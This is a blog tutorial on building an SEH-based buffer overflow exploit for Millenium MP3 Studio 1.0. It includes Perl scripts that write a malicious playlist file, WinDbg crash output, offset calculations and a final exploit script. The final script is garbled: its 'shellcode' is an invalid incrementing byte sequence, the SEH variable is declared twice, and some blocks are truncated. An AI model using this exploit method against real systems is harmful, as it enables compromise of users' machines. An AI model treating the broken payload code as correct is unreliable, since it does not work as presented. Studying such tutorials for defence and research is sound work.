

Peter Van Eeckhoutte's Blog

:: [Knowledge is not an object, it's a flow] ::

Exploit writing tutorial part 3b : SEH Based Exploits - just another example

Peter Van Eeckhoutte · Tuesday, July 28th, 2009

In the [previous tutorial post](#), I have explained the basics of SEH based exploits. I have mentioned that in the most simple case of an SEH based exploit, the payload is structured like this :

```
[Junk] [next SEH] [SEH] [Shellcode]
```

I have indicated that SEH needs to be overwritten by a pointer to "pop pop ret" and that next SEH needs to be overwritten with 6 bytes to jump over SEH... Of course, this structure was based on the logic of most SEH based vulnerabilities, and more specifically on the vulnerability in Easy RM to MP3 Player. So it's just an example behind the concept of SEH based vulnerabilities. You really need to look to all registers, work with breakpoints, etc, to see where your payload / shellcode resides... look at your stack and then build the payload structure accordingly... Just be creative.

Sometimes you get lucky and the payload can be built almost blindfolded. Sometimes you don't get lucky, but you can still turn a somewhat hard to exploit vulnerability into a stable exploit that works across various versions of the operating system. And sometimes you will need to hardcode addresses because that is the only way to make things work. Either way, most exploits don't look the same. They are manual and handcrafted work, based on the specific properties of a given vulnerability and the available methods to exploit the vulnerability.

In today's tutorial, we'll look at building an exploit for a vulnerability that was discovered in Millenium MP3 Studio 1.0, as reported at <http://www.milw0rm.com/exploits/9277>.

You can download a local copy of Millenium MP3 Studio here :



Millenium MP3 Studio (Log in before downloading this file !) - Downloaded 126 times

The proof of concept script states that (probably based on the values of the registers), it's easy to exploit... but it did not seem to work for the person who discovered the flaw and posted this PoC script.

```
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mp3 / .m3u File) Local Stack Overflow PoC
#http://www.softwared12.com/products/mp3-millennium-download.html
#####
##Thanks for Skull-MacKer ##and all NwW.Sec-AcT.CoM/co team
#####
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 mtdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
#####
## it so easy exploit but it did not work for me i hope some one exploit it!###
#####
my $crash="http://". "x41" x 5000;
open(myfile,">hack4love.m3u");
print myfile $crash;
#####
# milw0rm.com [2009-07-27]
```

Based on the values in the registers displayed by "Hack4love", one could conclude that this is a typical stack based overflow, where EIP gets overwritten with the junk buffer... so you need to find the offset to EIP, find the payload in one of the registers, overwrite EIP with a "jump to..." and that's it ? Well... not exactly.

Let's see. Create a file with "http://" + 5000 A's... What do you get when you run the application via windbg and open the file ? We'll create a mpf file :

```
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload). " bytes\n";
```

Open windbg and open the mp3studio executable. Run the application and open the file. (I'm not going to repeat these instructions every time, I assume you know the drill by now)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

```
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=41414141 esi=0012e990 edi=00faa68c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
```

```

nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image
00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:41414139=????????
Missing image name, possible paged-out or corrupt data.

```

Right, access violation... but the registers are nowhere near the ones mentioned in the PoC script. So either the buffer length is wrong (to trigger a typical stack based EIP overwrite overflow), or it's a SEH based issue. Look at the SEH Chain to find out :

```

0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141

```

ah, ok. Both the SE Handler and the next SEH are overwritten. So it's a SEH based exploit.

Build another file with a 5000 character Metasploit pattern in order to find the offset to next SEH and SE Handler :

Now SEH chain looks like this :

```

0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+30684638 (30684639)
Invalid exception stack at 67463867

```

So SE Handler was overwritten with 0x39466830 (little endian, remember), and next SEH was overwritten with 0x67384667

- SE Handler : 0x39466830 = 9Fh0 (pattern offset 4109)
- next SEH : 0x67384667 = g8Fg (pattern offset 4105)

This makes sense.

Now, in a typical SEH exploit, you would build your payload like this :

- - first 4105 junk characters (and get rid of some nasty characters such as the 2 backslashes after http: + added a couple of A's to keep the amount of characters in groups of 4)
- - then overwrite next SEH with jumpcode (0xeb,0x06,0x90,0x90) to jump over SE Handler and land on the shellcode
- - then overwrite SE Handler with a pointer to pop pop ret
- - then put your shellcode (surrounded by nops if necessary) and append more data if required

or, in perl (still using some fake content just to verify the offsets) :

```

my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $seh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$seh.$seh));
my $payload=$junk.$seh.$seh.$shellcode;
print "[+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print "[+] File written\n";
print "[+] " . length($payload). "

```

Crash :

```

(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0012fba4 ebx=0012fba4 ecx=00000000 edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image00400000image
00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:4444443c=????????

Missing image name, possible paged-out or corrupt data.0:000>
!exchain0012fb8c:
<Unloaded_ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242

```

So SE Handler was overwritten with 43434343 (4 C's, as expected), and next SEH was overwritten with 42424242 (4 B's, as expected).

Let's replace the SE Handler with a pointer to pop pop ret, and replace next SEH with 4 breakpoints. (no jumpcode yet, we just want to find our payload) :

Look at the list of loaded modules and try to find a pop pop ret in one of the modules. (You can use the Ollydbg "SafeSEH" plugin to see whether the modules are compiled with safeSEH or not).

audio.dll, one of the application dll's, contains multiple pop pop ret's. We'll use the one at 0x1002083D :

```

my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;

```



```
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990 edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010286*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be loaded for image
00400000image00400000+0x3734:
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????
Missing image name, possible paged-out or corrupt data.
```

```
0:000> g
(1a4.9d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f9bf:
0012f9c0 cc int 3
```

Ok, now replace the breaks with real shellcode and finalize the script :

```
# [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method : seh
# [+] Tested on : Windows XP SP3 En
# [+] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com)
# [+] Greetz to : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277 )
# -----
# MMMMM~.
# MMMMM?.
# MMMMM8. .=MMMMMM. MMMMMMMM, MMMMMMM8. MMMMM?. MMMMMM: MMMMMMMMMMM.
# MMMMMMMMM=. MMMMMMMMMMM. MMMMMMMM=MMMMMMMMMM=. MMMMM?7MMMMMMMMMM: MMMMMMMMMMM.
# MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI. MMMMMZMMMMM:
# MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$~MMMMM?. .MMMMMMMMMI. MMMMM+MMMMM:
# MMMMM=. MMMMM=MMMMM=MMMMM7. 8MMMMM?. .MMMMM?NMMMM8MMMMMI. MMMMM+MMMMM:
# MMMMM~MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM: MMMMM?MMMMMIMMMMMO. MMMMM+MMMMM:
# =MMMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMMO: MMMMM?MMMMMMMMMMMMMIIMMMMM+MMMMM:
# .:$MMMMM07:..+MMMMM0$=.MMMMM7. ,IMMMMMM0$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
# ..... eip hunters
# -----
# Script provided for educational purposes only.
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $seh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D); #pop pop ret from xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xdc\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\x100\x101\x102\x103\x104\x105\x106\x107\x108\x109\x10a\x10b\x10c\x10d\x10e\x10f\x110\x111\x112\x113\x114\x115\x116\x117\x118\x119\x11a\x11b\x11c\x11d\x11e\x11f\x120\x121\x122\x123\x124\x125\x126\x127\x128\x129\x12a\x12b\x12c\x12d\x12e\x12f\x130\x131\x132\x133\x134\x135\x136\x137\x138\x139\x13a\x13b\x13c\x13d\x13e\x13f\x140\x141\x142\x143\x144\x145\x146\x147\x148\x149\x14a\x14b\x14c\x14d\x14e\x14f\x150\x151\x152\x153\x154\x155\x156\x157\x158\x159\x15a\x15b\x15c\x15d\x15e\x15f\x160\x161\x162\x163\x164\x165\x166\x167\x168\x169\x16a\x16b\x16c\x16d\x16e\x16f\x170\x171\x172\x173\x174\x175\x176\x177\x178\x179\x17a\x17b\x17c\x17d\x17e\x17f\x180\x181\x182\x183\x184\x185\x186\x187\x188\x189\x18a\x18b\x18c\x18d\x18e\x18f\x190\x191\x192\x193\x194\x195\x196\x197\x198\x199\x19a\x19b\x19c\x19d\x19e\x19f\x200\x201\x202\x203\x204\x205\x206\x207\x208\x209\x20a\x20b\x20c\x20d\x20e\x20f\x210\x211\x212\x213\x214\x215\x216\x217\x218\x219\x21a\x21b\x21c\x21d\x21e\x21f\x220\x221\x222\x223\x224\x225\x226\x227\x228\x229\x22a\x22b\x22c\x22d\x22e\x22f\x230\x231\x232\x233\x234\x235\x236\x237\x238\x239\x23a\x23b\x23c\x23d\x23e\x23f\x240\x241\x242\x243\x244\x245\x246\x247\x248\x249\x24a\x24b\x24c\x24d\x24e\x24f\x250\x251\x252\x253\x254\x255\x256\x257\x258\x259\x25a\x25b\x25c\x25d\x25e\x25f\x260\x261\x262\x263\x264\x265\x266\x267\x268\x269\x26a\x26b\x26c\x26d\x26e\x26f\x270\x271\x272\x273\x274\x275\x276\x277\x278\x279\x27a\x27b\x27c\x27d\x27e\x27f\x280\x281\x282\x283\x284\x285\x286\x287\x288\x289\x28a\x28b\x28c\x28d\x28e\x28f\x290\x291\x292\x293\x294\x295\x296\x297\x298\x299\x29a\x29b\x29c\x29d\x29e\x29f\x300\x301\x302\x303\x304\x305\x306\x307\x308\x309\x30a\x30b\x30c\x30d\x30e\x30f\x310\x311\x312\x313\x314\x315\x316\x317\x318\x319\x31a\x31b\x31c\x31d\x31e\x31f\x320\x321\x322\x323\x324\x325\x326\x327\x328\x329\x32a\x32b\x32c\x32d\x32e\x32f\x330\x331\x332\x333\x334\x335\x336\x337\x338\x339\x33a\x33b\x33c\x33d\x33e\x33f\x340\x341\x342\x343\x344\x345\x346\x347\x348\x349\x34a\x34b\x34c\x34d\x34e\x34f\x350\x351\x352\x353\x354\x355\x356\x357\x358\x359\x35a\x35b\x35c\x35d\x35e\x35f\x360\x361\x362\x363\x364\x365\x366\x367\x368\x369\x36a\x36b\x36c\x36d\x36e\x36f\x370\x371\x372\x373\x374\x375\x376\x377\x378\x379\x37a\x37b\x37c\x37d\x37e\x37f\x380\x381\x382\x383\x384\x385\x386\x387\x388\x389\x38a\x38b\x38c\x38d\x38e\x38f\x390\x391\x392\x393\x394\x395\x396\x397\x398\x399\x39a\x39b\x39c\x39d\x39e\x39f\x400\x401\x402\x403\x404\x405\x406\x407\x408\x409\x40a\x40b\x40c\x40d\x40e\x40f\x410\x411\x412\x413\x414\x415\x416\x417\x418\x419\x41a\x41b\x41c\x41d\x41e\x41f\x420\x421\x422\x423\x424\x425\x426\x427\x428\x429\x42a\x42b\x42c\x42d\x42e\x42f\x430\x431\x432\x433\x434\x435\x436\x437\x438\x439\x43a\x43b\x43c\x43d\x43e\x43f\x440\x441\x442\x443\x444\x445\x446\x447\x448\x449\x44a\x44b\x44c\x44d\x44e\x44f\x450\x451\x452\x453\x454\x455\x456\x457\x458\x459\x45a\x45b\x45c\x45d\x45e\x45f\x460\x461\x462\x463\x464\x465\x466\x467\x468\x469\x46a\x46b\x46c\x46d\x46e\x46f\x470\x471\x472\x473\x474\x475\x476\x477\x478\x479\x47a\x47b\x47c\x47d\x47e\x47f\x480\x481\x482\x483\x484\x485\x486\x487\x488\x489\x48a\x48b\x48c\x48d\x48e\x48f\x490\x491\x492\x493\x494\x495\x496\x497\x498\x499\x49a\x49b\x49c\x49d\x49e\x49f\x500\x501\x502\x503\x504\x505\x506\x507\x508\x509\x50a\x50b\x50c\x50d\x50e\x50f\x510\x511\x512\x513\x514\x515\x516\x517\x518\x519\x51a\x51b\x51c\x51d\x51e\x51f\x520\x521\x522\x523\x524\x525\x526\x527\x528\x529\x52a\x52b\x52c\x52d\x52e\x52f\x530\x531\x532\x533\x534\x535\x536\x537\x538\x539\x53a\x53b\x53c\x53d\x53e\x53f\x540\x541\x542\x543\x544\x545\x546\x547\x548\x549\x54a\x54b\x54c\x54d\x54e\x54f\x550\x551\x552\x553\x554\x555\x556\x557\x558\x559\x55a\x55b\x55c\x55d\x55e\x55f\x560\x561\x562\x563\x564\x565\x566\x567\x568\x569\x56a\x56b\x56c\x56d\x56e\x56f\x570\x571\x572\x573\x574\x575\x576\x577\x578\x579\x57a\x57b\x57c\x57d\x57e\x57f\x580\x581\x582\x583\x584\x585\x586\x587\x588\x589\x58a\x58b\x58c\x58d\x58e\x58f\x590\x591\x592\x593\x594\x595\x596\x597\x598\x599\x59a\x59b\x59c\x59d\x59e\x59f\x600\x601\x602\x603\x604\x605\x606\x607\x608\x609\x60a\x60b\x60c\x60d\x60e\x60f\x610\x611\x612\x613\x614\x615\x616\x617\x618\x6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1201\x1202\x1203\x1204\x1205\x1206\x1207\x1208\x1209\x120a\x120b\x120c\x120d\x120e\x120f\x1210\x1211\x1212\x1213\x1214\x1215\x1216\x1217\x1218\x1219\x121a\x121b\x121c\x121d\x121e\x121f\x1220\x1221\x1222\x1223\x1224\x1225\x1226\x1227\x1228\x1229\x122a\x122b\x122c\x122d\x122e\x122f\x1230\x1231\x1232\x1233\x1234\x1235\x1236\x1237\x1238\x1239\x123a\x123b\x123c\x123d\x123e\x123f\x1240\x1241\x1242\x1243\x1244\x1245\x1246\x1247\x1248\x1249\x124a\x124b\x124c\x124d\x124e\x124f\x1250\x1251\x1252\x1253\x1254\x1255\x1256\x1257\x1258\x1259\x125a\x125b\x125c\x125d\x125e\x125f\x1260\x1261\x1262\x1263\x1264\x1265\x1266\x1267\x1268\x1269\x126a\x126b\x126c\x126d\x126e\x126f\x1270\x1271\x1272\x1273\x1274\x1275\x1276\x1277\x1278\x1279\x127a\x127b\x127c\x127d\x127e\x127f\x1280\x1281\x1282\x1283\x1284\x1285\x1286\x1287\x1288\x1289\x128a\x128b\x128c\x128d\x128e\x128f\x1290\x1291\x1292\x1293\x1294\x1295\x1296\x1297\x1298\x1299\x129a\x129b\x129c\x129d\x129e\x129f\x1300\x1301\x1302\x1303\x1304\x1305\x1306\x1307\x1308\x1309\x130a\x130b\x130c\x130d\x130e\x130f\x1310\x1311\x1312\x1313\x1314\x1315\x1316\x1317\x1318\x1319\x131a\x131b\x131c\x131d\x131e\x131f\x1320\x1321\x1322\x1323\x1324\x1325\x1326\x1327\x1328\x1329\x132a\x132b\x132c\x132d\x132e\x132f\x1330\x1331\x1332\x1333\x1334\x1335\x1336\x1337\x1338\x1339\x133a\x133b\x133c\x133d\x133e\x133f\x1340\x1341\x1342\x1343\x1344\x1345\x1346\x1347\x1348\x1349\x134a\x134b\x134c\x134d\x134e\x134f\x1350\x1351\x1352\x1353\x1354\x1355\x1356\x1357\x1358\x1359\x135a\x135b\x135c\x135d\x135e\x135f\x1360\x1361\x1362\x1363\x1364\x1365\x1366\x1367\x1368\x1369\x136a\x136b\x136c\x136d\x136e\x136f\x1370\x1371\x1372\x1373\x1374\x1375\x1376\x1377\x1378\x1379\x137a\x137b\x137c\x137d\x137e\x137f\x1380\x1381\x1382\x1383\x1384\x1385\x1386\x1387\x1388\x1389\x138a\x138b\x138c\x138d\x138e\x138f\x1390\x1391\x1392\x1393\x1394\x1395\x1396\x1397\x1398\x1399\x139a\x139b\x139c\x139d\x139e\x139f\x1400\x1401\x1402\x1403\x1404\x1405\x1406\x1407\x1408\x1409\x140a\x140b\x140c\x140d\x140e\x140f\x1410\x1411\x1412\x1413\x1414\x1415\x1416\x1417\x1418\x1419\x141a\x141b\x141c\x141d\x141e\x141f\x1420\x1421\x1422\x1423\x1424\x1425\x1426\x1427\x1428\x1429\x142a\x142b\x142c\x142d\x142e\x142f\x1430\x1431\x1432\x1433\x1434\x1435\x1436\x1437\x1438\x1439\x143a\x143b\x143c\x143d\x143e\x143f\x1440\x1441\x1442\x1443\x1444\x1445\x1446\x1447\x1448\x1449\x144a\x144b\x144c\x144d\x144e\x144f\x1450\x1451\x1452\x1453\x1454\x1455\x1456\x1457\x1458\x1459\x145a\x145b\x145c\x145d\x145e\x145f\x1460\x1461\x1462\x1463\x1464\x1465\x1466\x1467\x1468\x1469\x146a\x146b\x146c\x146d\x146e\x146f\x1470\x1471\x1472\x1473\x1474\x1475\x1476\x1477\x1478\x1479\x147a\x147b\x147c\x147d\x147e\x147f\x1480\x1481\x1482\x1483\x1484\x1485\x1486\x1487\x1488\x1489\x148a\x148b\x148c\x148d\x148e\x148f\x1490\x1491\x1492\x1493\x1494\x1495\x1496\x1497\x1498\x1499\x149a\x149b\x149c\x149d\x149e\x149f\x1500\x1501\x1502\x1503\x1504\x1505\x1506\x1507\x1508\x1509\x150a\x150b\x150c\x150d\x150e\x150f\x1510\x1511\x1512\x1513\x1514\x1515\x1516\x1517\x1518\x1519\x151a\x151b\x151c\x151d\x151e\x151f\x1520\x1521\x1522\x1523\x1524\x1525\x1526\x1527\x1528\x1529\x152a\x152b\x152c\x152d\x152e\x152f\x1530\x1531\x1532\x1533\x1534\x1535\x1536\x1537\x1538\x1539\x153a\x153b\x153c\x153d\x153e\x153f\x1540\x1541\x1542\x1543\x1544\x1545\x1546\x1547\x1548\x1549\x154a\x154b\x154c\x154d\x154e\x154f\x1550\x1551\x1552\x1553\x1554\x1555\x1556\x1557\x1558\x1559\x155a\x155b\x155c\x155d\x155e\x155f\x1560\x1561\x1562\x1563\x1564\x1565\x1566\x1567\x1568\x1569\x156a\x156b\x156c\x156d\x156e\x156f\x1570\x1571\x1572\x1573\x1574\x1575\x1576\x1577\x1578\x1579\x157a\x157b\x157c\x157d\x157e\x157f\x1580\x1581\x1582\x1583\x1584\x1585\x1586\x1587\x
```

```
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload) . " bytes\n";
```

pwned ! (and submitted this one to milw0rm :) : see Millenium MP3 Studio 1.0 .mpf File Local Stack Overflow Exploit #2

- You can find the list of all of my exploits that are published on milw0rm at <http://www.milw0rm.com/author/2052>

Exercise

Now I have a nice little exercise for you : try to build a working exploit for m3u files, and see if you can find a way to use an EIP overwrite (instead of SEH)
Quick note : shellcode does not have to be placed after nseh/seh... it can also be put in the first part of the payload buffer, and sometimes you have to

- use a small buffer location to write some jumpcode, so you can jump to the real shellcode
- hardcode an address (if nothing else works)

The SEH based exploit for m3u files is almost identical to the mpf version, so I'm not going to discuss this one here

If you want to discuss this exercise, please [register/log in](#), and open a discussion on the forum : <http://www.corelan.be:8800/index.php/forum/writing-exploits/>
(I might just post the solution on the forum in a couple of days as well).
Stay tuned for more information, and tips&tricks on exploit writing...

Update : one of the users on this blog/forum (mancu37) has posted an alternative exploit for this vulnerability (based on direct RET overwrite). You can find his PoC exploit at <http://www.corelan.be:8800/index.php/forum/writing-exploits/exploit-for-m3u-file-eip-overwrite-additional-exercise-of-tutorial-3-part-b/>. Good job mancu37 !

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